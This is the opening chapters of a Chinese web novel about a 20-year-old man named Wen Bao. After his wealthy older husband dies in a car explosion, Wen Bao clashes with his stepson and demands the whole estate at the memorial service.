《老公一死我拼了命争家产》
1. 有钱的温宝
A市。
一辆车在一栋别墅门口缓缓停下。
车门打开,一个年轻男人从车里跳出来。
“方伯,我回来啦,我回来啦!”
安静的别墅里顿时热闹起来,温宝扯着几个袋子,从门外挤进去,没走几步,他好像闻到什么气味,鼻头动了动,眼睛蹭一下亮起来。
他一下子冲进来,手里的袋子也不拿了塞给一旁的管家,一边欢快地高呼着喊“闻鹤哥,闻鹤哥”,一边噔噔噔往楼上跑去,楼上只有一间屋子亮着灯,是席闻鹤的书房。
温宝跳跃着,像一阵旋风一样,扑到书房门前,不敲门就推开了。
“闻鹤哥你有没有想我,我一直都有在想你哦。”
温宝推开门,兴奋地大叫一声,而门内正在处理事务的男人,动作一顿,对着视频另一方的秘书说了句“明天行程安排好”,就挂断了通话。
“什么行程,你又要走?不是今天才回来吗?”温宝大声叫着,一下子跳到男人面前。
男人看起三十多岁的样子,穿着衬衫,肩宽而平,把衣服撑的挺括,相貌成熟英俊,眉眼深邃,骨骼深刻,鼻梁挺拔。
抬眼看向温宝,眼神沉稳,没什么表情,定定地看着温宝,看起来有些冷漠。
温宝一怂又挺直腰,还没说什么,就听见男人说了句让他心惊胆战的话:“怎么这么晚才回来,是和朋友去玩了吗?”
席闻鹤不允许温宝回来太晚,像是管小孩一样管着他。
刚开始温宝时常犯禁,被教训过几次,就再也不敢在外面度过他的夜生活了。
席闻鹤不在,温宝就故态重萌,在危险的边缘跃跃欲试。
温宝心一提,一时忘记了席闻鹤好似出差的事,看向手腕上中看不中用镶满碎钻的手表,约莫盯了几分钟,把表盘刻度看清了,心里开始加加减减,惊觉这时已经将近十一点了。
怎么会这样,十一点,温宝睁大眼睛,眼珠子左右转着,大声辩解说:“没有出去玩,是去给闻鹤哥买礼物了,手机没电了没看时间。”
席闻鹤看着温宝戴着表瞎呲。
像是看出来席闻鹤的怀疑,温宝想起他买的那些奢侈品,唰一下站的笔直:“就是买了东西,我现在拿给你看。”
他转身就跑,席闻鹤看着他飞快逃离的身影,像撒了蹄子乱跑的羊。
席闻鹤看向自己的手机,上面温宝的行踪显示的清清楚楚,其实他很清楚温宝去了哪里,但是逗弄这只坏怂的渣猫,他很有耐心且很有兴趣。
不知道过了多久,温宝大概一直在纠结,终于他捧着一件东西急匆匆回来,往席闻鹤面前一放。
“看闻鹤哥,我给你买的,挑这个耳饰我挑了三个小时!还是情侣款。”
什么样的耳饰能挑三个小时,席闻鹤低头一看,是一只带着红帽子的碎钻小黄鸭,挤眉弄眼的,像极了糊弄席闻鹤的温宝,席闻鹤眉毛一挑,不知温宝是怎么在那些珠宝店里,发现这么个丑东西。
情侣款,席闻鹤捏在手里,温宝这时候拨开自己半长的头发,露出一侧的和席闻鹤手上明显是一对的耳钉。
一对拆成两只,还硬说情侣款,天底下怕没有比温宝还会做生意和糊弄人的,恐怕是在那些他的宝贝里挑了许久才挑出来的玩意儿。
但席闻鹤也说不出什么话来,因为温宝很快扑上来,在他耳边说道:“闻鹤哥你喜不喜欢,我来帮你戴上吧。这可是我精挑细选的。”
温宝热乎乎的脸蛋近在咫尺,带着他身上那股独有的暖香,让人想起温热的□□,雪白的大腿和胸脯,色·气浪荡。
席闻鹤默了一瞬,皱着眉让温宝把那只丑鸭子戴在耳朵上,他只有单侧一个耳洞,是陪着温宝一起去打的。
“闻鹤哥,喜不喜欢,老公老公,你喜不喜欢。”温宝贴着席闻鹤的脸软声询问,双手搂着男人的脖子,整个人都要坐在男人身上。
席闻鹤把他抱在怀里,忍受着和他气质格格不入的丑鸭子,原谅了温宝晚归的事实。
温宝察言观色最有一套,看着男人面色柔和下来,他就知道这茬过了,温宝的过错被席闻鹤原谅了,可席闻鹤的过错还被温宝记着。
“你明天要走?是出差吗?”温宝弄乱了席闻鹤挺括的衣领,有形的衬衫变得皱巴巴。
“嗯。”
“怎么可以!”温宝跳起来大叫,席闻鹤最近总在外面跑,家里有温宝这个小宝贝都留不住他,温宝才20岁,却像是守了活寡,世界上有这种事吗?
“闻鹤哥,你不是老板吗,怎么总是让你干活呢。”温宝拽着席闻鹤的袖子,不满地撅着嘴哼唧,席闻鹤都快四十多,再不陪陪温宝就要老了,温宝看着男人英俊的脸,气鼓鼓的,到时候他真的要守寡了。
“你还说我呢,老公整天不在家,我怎么可能会早点回家。”温宝把锅甩在席闻鹤身上。
他叽叽喳喳,等席闻鹤目光一下子定在温宝身上,温宝就闭嘴不说了。
但任凭温宝怎么恳求撒娇,席闻鹤都没有改变出差的打算。
温宝没有办法,只能背对着席闻鹤,坐在他的毛绒沙发上生气,他右侧耳垂边缘,隐约露出一点耳坠的碎钻。
温宝很严肃,严肃地思考他们一年多的婚姻,温宝也没想到他二十岁,就要思考他日渐疲惫的婚姻了,怎么会这样,席闻鹤才三十多岁就不再回家了,难道男人过了二十五就真的不行了吗?
短短五分钟,温宝就变得沧桑起来。
但好在,温宝彻底“心寒”之前,男人低沉的声音,在他身后响起,像是一双骨骼分明的手拨弄琴弦,震动传进温宝耳朵里。
“别生气了,我给你带了礼物。”
温宝的礼物是惊慌失措的糊弄,而席闻鹤的,才是真正精挑细选的礼物。
礼物?温宝耳朵动了动,沧桑啊,男人啊,全都烟消云散,他重新焕发活力,扭过头来,脸上是压抑住好奇和兴奋的平静。
温宝装作不以为然:“什么礼物。”他轻轻晃着脚尖,好像在对席闻鹤说“一定要拿出像样的宝贝来,不然我就要继续生气了”。
席闻鹤听出他话里的小喜悦,翘了翘嘴角,没有抬头:“就在这间屋子里,找找看。”
哈,会是什么礼物?温宝矜持了两秒,从沙发上蹭地站起来,没头苍蝇一样在屋子里转起来。
书房说大不大,说小不小,温宝以一种毁灭性的搜索,在屋内开始扫荡。
席闻鹤看着温宝把书架上排好序的书插的到处都是,他及时出声提醒:“宝贝,来这边找。”
温宝回头,那里只有席闻鹤和他的办公桌椅,温宝笑着朝席闻鹤走去,埋头寻找。
如果此时温宝抬头亲吻席闻鹤,朝席闻鹤撒娇,那他大概不到一分钟就能找到礼物。
但可惜温宝太认真了,一心放在礼物上,而把他精心准备礼物的闻鹤哥抛在脑后。
“闻鹤哥你让一让。”让温宝着迷的男人的身体,此时变成了阻碍,温宝抬抬席闻鹤的胳膊,又搂着席闻鹤的腰到处看,试图在男人身上找到他价值不菲的礼物。
席闻鹤一动不动,任温宝扒拉着他,如果此时温宝抬头,恐怕能看到席闻鹤幽暗的紧紧盯着他的眼神。
温宝从上搜索到下,终于怀疑到席闻鹤脚下的地毯,他蹲下去摸索着,这张宽阔舒适的真皮椅子这时候也成了温宝的眼中钉。
他抬眼,瞳孔又大又亮:“闻鹤哥你能往那边去一下吗?”
席闻鹤早就关闭了电脑,手撑着头,低头看他,闻言,席闻鹤摇摇头。
温宝气泄,正要转战下一个阵地,他扭头突然看到桌子底下的保险箱。
“哈哈,肯定在这里。”温宝一笑,从席闻鹤的腿和桌子之间爬到桌子底下。
保险柜果然没锁,他爬跪在地上
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,屁股高高翘着,打开柜子,温宝扫过堆放的金条和一些纸质文件,朝一个盒子摸过去。
盒子比他的手掌还要大,比脸还大。
温宝脸上登时炸开一个笑,攥在手里,还没起来就喊着说:“我找到了,我找到了。”
他想退出去,可一只手按在他的腰上,让他动弹不得。
席闻鹤眼前是温宝挺翘的臀部,圆润的弧线,他居高临下地打量着。
而底下的温宝还一无所知:“闻鹤哥,你怎么压着我,我出不去了。”温宝手抓着盒子,他一门心思全在盒子上,只想着里面会是怎样的宝贝。
身后的男人没有出声,仅仅收回了手,但也没有退开一步,能让温宝轻松退出来。
温宝往后退只顶在男人坐的椅面,便再也顶不动了。
“老公,你怎么不让我出去呀。”温宝等了许久,也不见席闻鹤说话,他不满地在桌底下小声抱怨,最后只好在狭小的桌底转过身,回头,是席闻鹤微微岔开的两条长腿,西装裤包裹着,落在两侧,铁牢一样堵死了温宝的路。
席闻鹤一只手垂下来抚摸温宝雪白的脸颊,滑腻娇嫩,由上到下,修长的手指在落到温宝红润的嘴唇上,轻轻地刮蹭两下。
而抬眼,席闻鹤低头看向温宝的眼神,是那样暗潮涌动,蕴含情欲。
温宝一下子就明白了席闻鹤的意思,他把礼物盒放在地上,双手放在席闻鹤大腿上,隔着布料,能摸到底下结实的肌肉。
温宝仰起脸,冲着席闻鹤笑:“闻鹤哥,你好坏哦。”紧接着他将脸放在椅面上。
但没等席闻鹤动作,他就被人拉起来,温宝一头雾水不忘抓紧盒子:“怎么了,你不要我帮你吗?”
席闻鹤把他拉起来,让他坐在腿上:“算了,时间久了跪的腿疼。”
温宝脑子转了一会儿,判断这是席闻鹤在夸耀自己时间长,还是心疼他,终于他轻轻一笑,跟片羽毛一样轻盈,伏在席闻鹤耳边:“闻鹤哥你对我真好,最爱你了。”
他嘴里说着,手上却一刻不停地拆着盒子。
没等席闻鹤缱绻的吻落在他脸上,他就火急火燎地打开盒子,灯光很亮,但还是不及里面物件耀眼。
那是一条绿宝石镶钻项链,铺在盒子里,占满了底面,大大小小的宝石错落排列,宝石的切割面随着温宝的动作闪闪发亮,折射出五彩的光。
“哇,闻鹤哥,你怎么知道我想要这个。”温宝在席闻鹤耳边惊喜地叽叽喳喳。
温宝的心思很好猜,当他看秀的时候,停留在哪一页时间最长,他就喜欢哪个,他喜欢哪个宝石首饰,就会“不经意”地在席闻鹤面前提上几次自己的脖子有多空,自己多么适合绿色。
席闻鹤吻了吻他好像在发光的眼睛:“喜欢吗?”
温宝:“喜欢。”他迫不及待地把项链往自己脖子上围。
主石那样闪烁那样大,而温宝的脖子天鹅颈似的细白,绷直时有一种脆弱的濒死感。
这样细伶伶的脖子好像要被项链压断,但温宝非常坚强的自己戴上去,然后就要从席闻鹤怀里起来,照镜子。
他没能起来,席闻鹤的手禁锢着他,像是巨龙守护自己的宝藏,温宝扭过头,疑惑地看向他,闻鹤哥好像要说事情,如果是明天出差的事情,那温宝已经看在项链的份上原谅他了。
席闻鹤顿了顿,觉得是时候说那件事了:“明天我走之后,席秦会从国外回来,你和他要好好相处,不要……”
温宝的手忿忿地从项链上垂下来,不可置信地尖声高叫:“什么!他要过来!我才不要!”
世界上所有继母和孩子的关系都是一大难题,就连温宝这个年轻的“小妈”也不例外。
席秦,席闻鹤的儿子,高傲自大目中无人嚣张放纵年轻气盛!
温宝根本和他相处不来!!!
席闻鹤这个老男人是昏了头吗?
2. 丧夫的温宝
温宝不能理解,为什么闻鹤哥不能让如他愿让他好好的快活一会儿,偏要在这个时候说这么讨厌的话。
席秦不喜欢温宝,温宝也不知道哪里招惹了他,打温宝进门那一刻起,席秦每次看见他都鼻子不是鼻子,眼睛不是眼睛,恨不得把鼻孔怼到天上去。
温宝真不明白,为什么席秦要这么坏,为什么席闻鹤要生席秦这个儿子。
有了席秦,还把闻鹤哥自己的名声搞坏了。
温宝恨不得泪水涟涟,立刻在闻鹤哥面前表明自己的态度,但手搭在项链上也只是气得眼睛通红。
好半天,他平息下来,只是还是不肯搭理席闻鹤,晚上躺在床上,也任由席闻鹤摆弄,权当自己是根草是棵树。
你只看到温宝带着宝石项链,住着大别墅,有超级有钱的帅老公,在床上还能爽得不得了,你看不到温宝心里沧桑与悲凉。
次日。
温宝在席闻鹤之后才醒,一夜过去,倔强的温宝还没有消气,瘫在床上一动不动,誓要睡到海枯石烂,把身下的床睡出一个人形凹印,任凭席闻鹤一个人出去。
外面叮里咣当收拾着东西,温宝想睡也睡不好了,他板着脸坐起来,屋里一个人没有,于是他开始摔打枕头发出声音,但依旧没有人进来,温宝只好自己挪到门口,直愣愣地站在那里。
刚好挡住了穿好衣物返回卧室取东西的席闻鹤。
席闻鹤往左边站了站,温宝也往左边站了站,席闻鹤选择从右边走,温宝的身子泥鳅一样顾涌一下翻到右边。
席闻鹤停下脚步站在那里,低头看向温宝,身形颀长,阴影像座小山一样完全笼罩着温宝。
温宝瘪瘪嘴,让开位置,屁颠屁颠地跟在席闻鹤身后:“可不可以不让席秦来,他可以住其他地方吗?”
“不能,宝贝,好好和他相处好吗。”席闻鹤拿了电脑转身,温宝也瘪着嘴要生气,他停下来和温宝说话,声音温柔,循循善诱:“这次我会出去很长时间,你乖乖待在家里,晚上也要按时回来,能做到吗?你那些朋友出去吃吃饭玩玩就行了,别深交。”
“为什么,为什么要走很久。”温宝睁大眼睛。
席闻鹤没有回答,只是继续说:“你爱我吗?”
温宝大声证明:“当然爱你啦!”
席闻鹤:“那如果我死了,温宝还会找其他老公吗?”
温宝细细的眉毛皱成几折:“怎么了,闻鹤哥你别说这个。”
“会吗?”席闻鹤摸摸温宝的头发,眼神晦暗,因为迟迟听不到温宝的回答而有些沉郁。
“不会不会。”温宝抱着席闻鹤的手臂,祈求说:“闻鹤哥求求你别说这个,我好害怕。”本来闻鹤哥就老,肯定要比他先死,怎么还要说这么吓人的话。
席闻鹤亲了下温宝的额头,权作安慰。温宝还对席秦来有些异议,但也不好说什么了。
温宝亦步亦趋地跟在席闻鹤身后,临出门,席闻鹤捞着温宝的腰和他接吻,大手揽在温宝的腰背,温宝被抱得骨头发疼,他唔唔地不清不楚地喊着老公老公难受,席闻鹤才缓缓松开手。
席闻鹤看了一眼温宝光裸的脚,不赞同地低头道:“不用出来送,下次要记得穿鞋。”
说完转身离开,走前深深地看了温宝一眼,除此之外,和平常没有区别。
温宝挥挥手,看着席闻鹤上了车,车子在几棵树之间闪烁驶远,嘴角向下动了动,慢吞吞掉头回去了。
没走几步,温宝还没在家里开始放飞自我,家里阿姨的手机来了信息,席闻鹤给她发了消息,让她催促温宝赶快穿上拖鞋。
温宝撅着嘴,但还是很听话地拿过阿姨手里的鞋子穿上,既然闻鹤哥这么关心他,那他就勉为其难原谅闻鹤哥吧,之后席秦怎么样,他都不会迁怒到闻鹤哥身上的。
温宝深明大义地想着,他时刻关注着自己的手机,等着闻鹤哥和他发消息,希望闻鹤哥没有和他生气,最好主动过来关心他。
但始终都没有消息过来,看样子是把温宝彻底忘掉了,温宝坐在桌子旁边嗑瓜子,手机远远地抛在一边。
“您也别跟先生置气,少爷人还是不错的,您和他多相处相处,可能就好了,真出什么事到时候再跟先生说也不迟。”管家在席家工作很久了,这样安慰他。
生气,温宝才没有生气,他原谅管家,因为管家老了,他不知道席秦是个坏蛋,所以温宝原谅他,现在最重要的是闻鹤哥要发消息过来哄他,温宝磕着瓜子用余光盯着手机。
没消息没消息,温宝等的时间久了也就忘记了,很快瘫在沙发上歪着脑袋看电视,电视声音很大,温宝恨不得别墅花园里的鼠妇都能听到。
于是手机来电话的时候,温宝第一时间并没有听到,手机屏幕亮了几分钟,嗡嗡嗡个不停,看起来就要声嘶力竭了,温宝这才感觉到振动,往旁边一看,连忙拿起来。
温宝还以为是闻鹤哥来和他说话,可打眼一看,是个不认识的陌生号码,温宝滑动屏幕接通了,他把听筒靠近耳朵,轻轻地“喂”了一声。
那边的人长久没有说话,像个推销电话,温宝被人这样戏耍,气得脑子发懵,正要开骂,那边就传来一个低沉的声音道:“我是席秦……席闻鹤死了。”
*
“人怎么样?”深夜,一个男人从车上下来,他身上还带着寒气,衣物些微凌乱,是那种处理过很多事匆匆赶来的凌乱。
方管家双眼熬红了,守在门口,看见男人过来,想问什么但忍住,说起温宝的事:“小先生哭累了,现在已经睡下了,一直吵着要出去,都拦下来了。”
男人“嗯”了声,并不熟悉地在别墅里走,找到温宝的房间。
温宝确实已经睡了,蜷缩在被子里,小小的一团,看起来确实像是哭惨了,睫毛哭得黏成一络一络的,像是网上那种很漫画很夸张的假睫毛,又长又翘,眼睛有些肿,鼻尖也发红,睡着觉也一抽一抽的,枕在软枕里,微微凹陷,像豌豆公主。
再往下看,怀里还抱着另一个枕头,不用猜就知道是谁的。
睡得很沉,脸蛋都发红,男人盯着看,很快他发现不对,温宝的呼吸沉而促,他眉毛皱起来,伸手一探。
“方伯,他发热了,叫医生来。”
男人的手很凉,放在温宝滚烫的额头上非常明显,体温差很大,让发热中的温宝往手掌心钻了钻,他混沌的神智似乎都恢复一点,宽大的手掌透着莫名的熟悉,温宝迷迷糊糊的睁开眼。
朦胧之中,他看见一张和席闻鹤极其相似的脸
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,若隐若现,连身形都越来越相似,就像是席闻鹤深夜赶回家陪在他身边。
温宝无意识瘪起嘴:“老公,你……没死……秦欺负……我。”
男人默了片刻挑了挑眉,在温宝额头上屈指轻轻弹了一下:“生病了还会告状。”
温宝没有回应,看起来已经烧糊涂了,葡萄一样的眼睛慢慢地乱转,落不到实处,只是大概方向始终朝着男人,明明难受的厉害还是撑着不肯休息。
男人也没再和温宝说话,两根指头伸出来,按在温宝的眼皮上不让他睁开眼:“睡觉。”
温宝觉得闻鹤哥这样对他有点凶,委委屈屈地闭上眼不动了。
男人拉了一张椅子,坐在床边等着医生来,量过体温,就打上点滴,温宝看到了他的闻鹤哥,自己觉得今天这事儿是席秦骗他的,一边讨厌席秦一边放下心两眼一翻总算睡着了。
睡着的样子安静,恬淡的样子和他的个性很反差,男人是第一次这样细细端详温宝,和他十多岁时想象出来的一样,可爱有点小脾气但柔软。
输液的针扎在手背上,就那薄薄的一层,过后一定要青了,男人轻轻摸索输液针旁边的皮肤,温热光滑,指尖有心跳搏动感,又重又快,说不上是温宝的,还是他的。
人安稳了,男人便站起来准备离开,下一秒手机那端像是知道男人得空了,立刻前仆后继地打电话过来,手机得不到任何休息,接二连三响个不停。
男人接了电话匆匆往门外走,好像很忙的样子,低声一件一件安排起来。
温宝睡到了天亮,身上出了汗,浑身还有些没力气,但脑袋已经清醒了。他回想起昨天席秦欺骗他的事还有点生气,但整体还是开心雀跃的,他在屋子里哑着嗓子叫:“闻鹤哥,你回来了吗?你快来看我,我好难受。”
他在屋子里吭吭唧唧,妄图吸引男人过来,但昨晚的男人没有出现,只有管家匆匆赶来了。
方管家声音有些沙哑,看起来状态有点不好,温宝看见他,冥冥中意识到什么。
管家看着他说:“您好些了吗?先生没有回来,先生出事故了,车子爆炸了您不记得了吗?”
“怎么会?”温宝呆呆地问,他明明看见闻鹤哥回来了,“昨天他还在床边守着我呢,真的死了吗?这不是席秦编谎话骗我的吗?”
“那是少爷,是他陪着你。”方伯有些哽咽了,温宝的状态实在不好,昨天接到消息已经哭过一通了。现在竟然误把席秦当做席闻鹤,大喜大悲之下他怎么受得了。
管家这样想着,甚至再想要不要叫医生来看一下温宝的状态,但没想到温宝竟然相当……冷静,只是呆呆地坐了一会儿,然后又躺下不再说话,他已经接受了,在昨天就接受失去,那么当他得知再次失去的时候,还有什么再崩溃难过的。
甚至于席闻鹤的遗体他都看不到时,温宝都没有什么太大的反应。
然而这样平静的状态没维持多久,当管家告诉温宝,他要开始准备席闻鹤的葬礼事宜时,他还是有些不能接受,在席家大吵大闹一通,冲着方伯尖叫,说自己不会这种东西,不要让他来做。
最后管家还是给席秦去了电话,让现在这个大忙人来处理。
处理安排葬礼,以及席秦的“小妈”。
3. 别有心思的温宝*
温宝待在家里无所事事,浑身无力像坨烂泥巴瘫在沙发上床上。
他待在空荡荡房子里,好像在等什么人,当然不可能会是死掉的席闻鹤
他最终等来的只会是安排丧事的席秦——的电话。
管家把席秦来的电话递给温宝的时候,他是很不想接的,可管家态度坚决,老头子拿着电话,保持一个递给温宝的姿势,没办法,温宝从沙发上爬起来,不情不愿接过手机,一开口就暴露不情愿:“干嘛——”
电话那头的声音有些微失真,带着电流的磁性:“听说你不想给我爸办葬礼。”
什么叫不想,温宝受不了这种污蔑,纠正他:“我没有不想好吧,我是不会,不会!”
“你不办就没人办了,既然这样那就干脆别办了,席闻鹤的死讯我想了想,还是先瞒着,免得影响公司股价。”电话那头席秦的声音真的很欠揍,懒洋洋地说出这么不孝的事情,这是真的不孝,死讯能瞒多久,顶多三四天民众就都知道了。
温宝最开始还以为席秦会包揽席闻鹤的葬礼,毕竟席秦是席闻鹤的儿子,温宝还这么年轻什么都不懂,自己一个人怎么撑得起席家,当然要靠席秦来办了,但没想到,席秦这么不孝顺。
温宝惊呆了,对着电话失声叫:“你怎么这样,这也太不孝顺了吧!”
他不由得再次为席闻鹤悲痛伤心,闻鹤哥有一个不孝子,闻鹤哥人这么好,却英年早逝,死后他的儿子甚至为了公司,不给他办葬礼。
温宝惊讶着为他死掉的闻鹤哥抱不平,完全忘记了他也是那个摆烂不办的人。
温宝在电话里抗议,大概席秦也是良心发现,害怕他爹从地下爬出来找他,只松口在老宅里办一场小型的追悼会,多余的,他就不肯承诺了。
哀悼会依旧落在温宝身上,席秦说温宝要是不会,可以找管家去帮忙,总之不让他找公司,不知道是不是故意在折磨使唤温宝。
可温宝只能答应下来,接过这手烂摊子,他要是不答应,他可怜的闻鹤哥就只能冷冷清清地走了。
生席秦那样的孩子有什么用呢,到头来还是得靠老婆温宝,如果闻鹤哥还活着,温宝就会把这个道理告诉他。
温宝在别墅里再三为他的闻鹤哥哭泣,觉得小型追悼会实在配不上他闻鹤哥的身份,可等到他正式操办起来,忙的头昏脑涨莫名其妙,什么都没弄明白的时候,温宝就顾不上伤心哭泣了,他想,小型追悼会也挺好的,他闻鹤哥一定不会在意这么一点小事,肯定能谅解他的。
没几天日子就到了,公司里的一些高层,席家的剩余的几个亲戚全都来了,温宝这么一看惊觉人当真不少。
温宝今天出奇的安静柔顺,不哭不闹,古怪得管家都多看了几眼,他几日都有些古怪,明明前些日子还伤心呢。
温宝一身黑衣,衣襟上别着一朵白花,他皮肤极白,让这黑衣白花一称,浑身白得莹润出尘。
他垂着头,鼻尖从侧脸阴影里露出来一点,脆弱纤薄,像一小块冬日屋檐上的碎冰,从这个角度看竟很有清冷文艺的感觉。
若旁人第一次见他,恐怕就要被这一副脸蛋给骗了,以为是什么美貌清冷的聪明人,非要和他相处一会儿,你才会看见这人眼里明晃晃的心思打算,清冷聪明不过是摄人的外表带来的错觉。
这时便惊觉,哦,这是一个娇气花瓶。
众人进来目光扫过整个屋子,随后莫名地就落在温宝身上,移不开,这是美人与生俱来的天赋。
来人里有几人听过温宝的名字,但没怎么见过,席闻鹤藏的严。
早先听说这个温宝将席闻鹤哄得团团转,一个不入流的年轻青年一朝哄住了有名的钻石王老五席闻鹤,还成功和人结了婚,任谁看,都要觉得这个温宝不简单,席闻鹤恐怕是傻了,栽了。
可现在这么一看,众人琢磨出一点身为席闻鹤的美妙滋味,长成这样,席总色令智昏倒也不稀奇了。
娶个年轻小妻子享受生活,死了还有这种未亡人为自己哭丧,除容易招蜂引蝶,头顶隐隐有发绿的风险之外,竟还算是一桩妙事。
各人心怀鬼胎,满脸恭敬哀伤地走进来,和温宝攀着说几句话,也都各自到一旁一群一群地聚在一起说话,那架势跟参加宴会没什么两样了。
温宝扁扁嘴,提不起什么劲儿和这些人较劲,他在等着一个人来,手心出的都是汗,时不时还要怕别人发现他的异常。
很快一个大腹便便的中年男人进来,身材走形,头发抹的油光发亮,几根稀疏的发丝钉耙一样扒在光亮的脑袋上。
远远地,他看见温宝,伸出粗短的手朝温宝挥了挥,拿帕子擦掉脑门上的汗走过来。
温宝抬头,脸色不显憔悴,看见他眼神一亮,跟找到主心骨一样。
温宝带他去了一个角落。
这人叫张亨通,是席氏旗下一个小公司的副总,按理说他是不能来的,但他和席家有点亲戚关系,加上和温宝关系近,也就出现在这里。
如果说整个席家,温宝第一信任的是席闻鹤,那张亨通就是他第二信任的人。
原因无他,温宝和席闻鹤的事是张亨通撮合的,这事说来话长,暂且不提。
张亨通看起来也是紧张又兴奋,他又拿油腻的帕子擦擦汗,对温宝说:“律师都请了吧,您现在是席总的正经夫人,这事我看不能拖了。”
温宝点点头,眼神坚定,很有斗志,和前几天给席闻鹤办事的那股丧气样完全不同,旁人来看,还以为温宝是见人死了,连样子都懒得做了,只有温宝知道今天他要干大事。
张亨通隐晦地给温宝传授知识,告诉他接下来该怎么做,温宝嫌他啰嗦,他早就想好了,今天要为他还有他的闻鹤哥讨回公道。
当然主要还是为了他自己,温宝对席闻鹤有几分心虚,在他的哀悼会上大闹实在对不起席闻鹤。
但很快这点心虚就烟消云淡,只剩下意志满满,他用手机联系好了律师过来。
只等席秦回来。
*
在助理提起这场追悼会的时候,席秦才把它想起来。
一场虚假无用的追悼会,席秦在心里这样定义,他不打算去,于是对着助理摆摆手,打算去掉这一提前规划好的行程。
助理大概也是头一次近距离见连亲爸追悼会都不去的畜牲儿子,愣了一下犹豫道:“您真的不去吗,温先生那边应该还在等您。”
“等我?”席秦忙的头脑发昏停下手上的事务,又想起来这事他交给温宝办了。
助理继续说:“刚刚温先生来了电话,问您的时间。”
就是催他吧,席秦一猜就知道温宝会怎么说“怎么还不来,一点也不孝顺,闻鹤哥白养你了……”之类的话,替席闻鹤忿忿,恨不得把头翘到天上,用鼻孔狠狠地哼他。
席秦整了整西装,站起身,身形潇洒:“那就去吧。”
他倒要看看温宝办成个什么样,席秦心情还不错,全然不知道接下来会发生什么。
温宝在宅子里等了席秦好久,这里的人很多,让他有些不自在,这种不自在就像一个没什么才能的孩子被迫推到聚光灯下表演,心虚又手足无措,但这种感觉很小,被光鲜的外表和宅子主人的身份抹去了。
眼下更多的是激动兴奋和跃跃欲试。
他身边除了挺着大肚子的张亨通之外,还多了个相貌平平的西装男子,是温宝请的律师。
三个人站作一排,气势汹汹的模样,温宝模样好,显得其他两个人都聪明专业起来。
唉,其实这里只是站了一个笨蛋,和两个滥竽充数的南郭先生。
张亨通站在温宝一侧,上下打量另一侧稍微有些驼背气质平平的律师,揪了一下温宝的衣服,小眼睛挤在一起问他:“你从哪儿找的人,行不行?”
温宝吊着眉梢看他一眼,轻轻一哼,微微扬起雪白的下巴:“这你就放心吧,他肯定专业!”
温宝当时看到那个门面长得像理发店的律师事务所,本没打算进去,恰逢但这位李律师匆匆上班,公务包掉在地上,散了一地证件,齐全专业的不行,一下子唬住了温宝,一问律师费才几百。
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>温宝就彻底忘记了咨询过得到的知名律所的地址,脚一拐跟着李律师走进去。
温宝如此信誓旦旦,言辞坚定,张亨通也放下心来,看了眼其貌不扬的李律师,心道这个律师看起来挺窝囊没气质,没想到竟真有两把刷子。
“老实”的李律师推了推眼镜,咽了口唾沫,豪华的别墅大宅,衣冠楚楚的男士女士,衣香鬓影,他眼睛瞥了眼一脸势在必得的温宝,心里止不住心虚,紧了紧抓包的手,一手湿汗,原来这个傻的掉帽的“富太太”这么富,他应该早做些准备的,早知道就不来了。
算了,今天糊弄完就跑吧。
又得找新律所了。
席秦来的很快,从车上款款下来,大步往前走,宽肩窄腰的,很像T台上的模特,席秦走到门口却突然停下站着不进去,不知道在想什么,好半天席秦才捋了捋自己的西装领口,问身后的助理:“我这身怎么样?”
助理木着脸打量起自己老板:“很好看,很适合您……呃,很有艺术美感,可以去逛画展看时装秀了。”特别花哨,干嘛都行,就是不适合参加自己老父亲的追悼会。
席秦像是没意识到这一身的不妥,满意地点点头,终于迈开步子。
屋内温宝还没摸索着跟那些公司高层寒暄,门就被慢慢推开,席秦带着几个人进来。
光从门外倾斜而入,显得席秦那双腿分外长,他穿着一身西装,款式时尚,比起席闻鹤要享受生活得多,温宝更加忿忿不平。
怪不得是席闻鹤的儿子,他长得和席闻鹤是有几分相似,但他更锐利,锋芒毕露,轮廓流畅,很年轻,也很喜欢拾掇自己。
温宝突然有点幻视,他见席秦也不过两三面,对他的脸并没有深刻印象,他突然想起前些日子他生病,模模糊糊看到席闻鹤的身影,后来才知道那是席秦。
席闻鹤已经死了。
温宝有点失望,盯着席秦的脸挑他的毛病,这样细细看来,和席闻鹤又完全不同了。
席秦年轻,席闻鹤相对来说就老了。
!
温宝意识到自己有长他人志气灭自己威风之嫌,立刻在心里暗暗呸了几声,找补:席秦就是个毛头小子,怎么能跟他老公比。
二十岁的温宝如此评价二十二岁的席秦。
席秦在人群里没费多久功夫就瞅见了仰着细白脖子的温宝,也不晓得这人心里在鄙夷谁,险些要把自己仰过去,细伶伶的脖子都快要折断了。
他不由自主地勾起一抹笑朝温宝走过去:“好久不见啊,我的小爸。”说到最后尾音稍稍往上勾,听起来有点轻蔑的意思。
温宝觉得他的语气不怎么好,来势汹汹,心里突生胆怯出来还有些生气,他回头去看张亨通想找些慰籍,可回头一看张亨通早就偷偷溜走了。
温宝无语之下暗暗翻了个白眼,强撑着回头抖擞精神,使劲儿转念一想席秦朝他喊爸,就怎么也不生气了,底气也充足了,勉强原谅他。
“哼,你可算来了。”温宝恨不得把对席秦说的每个字前面都加一个哼字,他好歹是席秦的小爸,还是给了席秦面子,没用鼻孔看他,只是轻轻扬起下巴,看着高傲。
席秦正要和温宝多说几句,他脸带笑意,这个手段强硬不比席闻鹤差的席氏未来掌权人此刻看起来也有几分好相处了。
席秦拿热脸去贴温宝,还没说上话,却见穿着一身克制低调的温宝施施然转身别过脸,高声:“既然人都到齐了,那我们就聊聊遗产的事吧!”
姿态高调傲慢,十足的席家主人模样,和他那身低调沉闷的衣服没一点相称,全是辜负。
席秦脸陡然一沉,气势逼人,他个子高站在温宝身后像片波涛汹涌的海,只差掀起波浪吞没温宝。
温宝无知无觉地站着,他才不管那些海啊浪啊,只下巴往旁边一点说:“律师!”很有范儿,跟温宝看的电视剧里演的那样。
“闻鹤哥的遗产我全都要!”
一语惊起千层浪,最震惊的莫过于老管家了,好好的小先生怎么突然在这种场合和席秦少爷争起了家产?
4. 卧薪尝胆的温宝
“这,这到底是怎么了?小先生您……”老管家也有六十多岁了,此时被温宝这一手操作搞的头脑发蒙,上去要去拉温宝。
行到半路却被席秦摆摆手阻止了。
温宝站在灯光正中央,光线几乎都被吸引着撒在他身上,像是天生的主角。
众人议论纷纷:“席太太这是在说笑话吗,席总刚死这……”
“就是啊,席总儿子还在这里呢,他怎么……”
“就说这个温宝有心思有心机,不然怎么把席总迷的晕头转向的,他们可差了十来岁呢,啧啧啧。”
说着说着,又不由自主地转向温宝的样貌,和席闻鹤的那点风流韵事。
温宝任他们随意议论,一脸势在必得,叫着李律师的名字。
